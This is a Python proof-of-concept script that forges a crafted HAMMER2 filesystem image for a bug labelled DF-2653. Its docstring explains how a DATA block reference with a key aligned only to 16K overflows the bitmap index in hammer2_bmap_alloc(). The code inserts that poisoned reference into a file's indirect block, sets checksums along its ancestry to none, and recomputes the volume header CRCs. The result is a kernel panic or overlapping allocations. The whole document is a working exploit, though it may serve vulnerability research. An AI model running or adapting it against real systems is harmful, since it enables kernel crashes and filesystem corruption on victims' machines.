#!/usr/bin/env python3
"""
DF-2653 forger: sub_key-derived bitmap index overflows the 64-bit element
in hammer2_bmap_alloc() when a DATA bref's key is not aligned to the
allocation radix.

hammer2_bmap_alloc() fast path (freemap.c:660-687):
    i = (sub_key & HAMMER2_BMAP_MASK) / (HAMMER2_BMAP_SIZE / ELEMENTS);
    j = (sub_key & HAMMER2_BMAP_INDEX_MASK) / (INDEX_SIZE / BLOCKS_PER_ELEM);
    j = j * 2;
    KKASSERT(j + bmradix <= 64);
The kernel only ever creates radix-16 DATA chains at 64K-aligned keys, so
j is always a multiple of 8 and the assert holds.  A crafted image can
supply a DATA bref with key = 0x7C000 (only 16K-aligned): j becomes 62 and
bmradix = 8 (radix 16), so j + bmradix = 70 > 64:
  * INVARIANTS kernels: KKASSERT panic at freemap.c:679;
  * noinv kernels: bmmask = (1<<8)-1 << 62 truncates to 2 bits -- the
    allocation marks only one 16K pair, avail -= 64K, and the returned
    data_off (base + 62*8K, 64K long) crosses into bitmapq element i+1
    whose chunks stay 00 -> overlapping allocations.

The forged DATA bref {key=0x7C000, keybits=16, radix=16} is inserted in
f2653's indirect block (ascending-key slot 4, between the 0x30000 and
0xC0000 entries covering the file's hole).  A write at file offset
0x80000..0xBFFFF looks up lbase=0x80000, finds the forged chain (greatest
key <= 0x80000 whose range encloses it), and modifies it -> COW realloc ->
hammer2_freemap_alloc(chain, 64K) -> hammer2_bmap_alloc(sub_key=0x7C000).
"""
import struct, sys, os
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from h2common import *

POISON_KEY = 0x7C000

def main():
    base, out = sys.argv[1], sys.argv[2]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    pbr = find_pfs_bref(img, sbr, b'testvol')

    # the volhdr sroot_blockset bref gates recovery recursion into the sroot
    struct.pack_into('<Q', img, sbr['off'] + 0x10, 0x20)
    print("[+] volhdr sroot bref @%#x: mirror_tid -> 0x20" % sbr['off'])

    # f2653 inode = slot1 of PFS-root blockset (key 0x401)
    f3 = None
    for i in range(4):
        off = (pbr['data_off'] & ~RADIX_MASK) + 0x200 + i * BREF
        if img[off] == 1:
            f3 = off
    assert f3, "f2653 inode bref not found"
    f3_blk = struct.unpack_from('<Q', img, f3 + 0x20)[0] & ~RADIX_MASK
    ind_doff = None
    for i in range(4):
        o = f3_blk + 0x200 + i * BREF
        if img[o] == 2:
            ind_doff = struct.unpack_from('<Q', img, o + 0x20)[0]
            ind_bref_off = o
    assert ind_doff, "f2653 indirect bref not found"
    ind_blk = ind_doff & ~RADIX_MASK
    print("[+] f2653 inode bref @%#x (blk %#x) -> indirect @%#x"
          % (f3, f3_blk, ind_blk))

    # find insertion slot: after key 0x30000 (index 3), before 0xC0000
    ents = []
    for e in range(128):
        o = ind_blk + e * BREF
        if img[o]:
            ents.append((struct.unpack_from('<Q', img, o + 8)[0], e))
    ents.sort()
    idx = [e for k, e in ents if k == 0x30000][0] + 1
    nxt = struct.unpack_from('<Q', img, ind_blk + idx * BREF + 8)[0]
    assert 0x30000 < POISON_KEY < nxt, "slot order wrong: next=%#x" % nxt
    # shift entries [idx..] up one slot to keep ascending order
    last = max(e for _, e in ents)
    for e in range(last + 1, idx - 1, -1):
        img[ind_blk + (e + 1) * BREF: ind_blk + (e + 2) * BREF] = \
            img[ind_blk + e * BREF: ind_blk + (e + 1) * BREF]
    # poison bref at slot idx
    o = ind_blk + idx * BREF
    struct.pack_into('<6B', img, o, 3, 0x00, 0, 16, 0, 0)   # DATA, CHECK_NONE, keybits=16
    struct.pack_into('<QQQQQ', img, o + 8,
                     POISON_KEY,     # key (16K-aligned, NOT 64K-aligned)
                     0x11,           # mirror_tid (like siblings)
                     0x11,           # modify_tid
                     0x1d80010,      # data_off: real 64K block, radix 16
                     0)              # update_tid
    print("[+] poison DATA bref at slot %d: key=%#x radix=16 data_off=%#x"
          % (idx, POISON_KEY, 0x1d80010))

    # ancestry CHECK_NONE: indirect bref (in f2653 inode block), f2653 inode
    # bref (in PFS-root block), testvol bref (in sroot block), sroot (volhdr)
    struct.pack_into('<B', img, ind_bref_off + 0x01, 0x00)
    struct.pack_into('<B', img, f3 + 0x01, 0x00)
    struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00)
    for v in vols:
        struct.pack_into('<B', img, v + 0x201, 0x00)
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()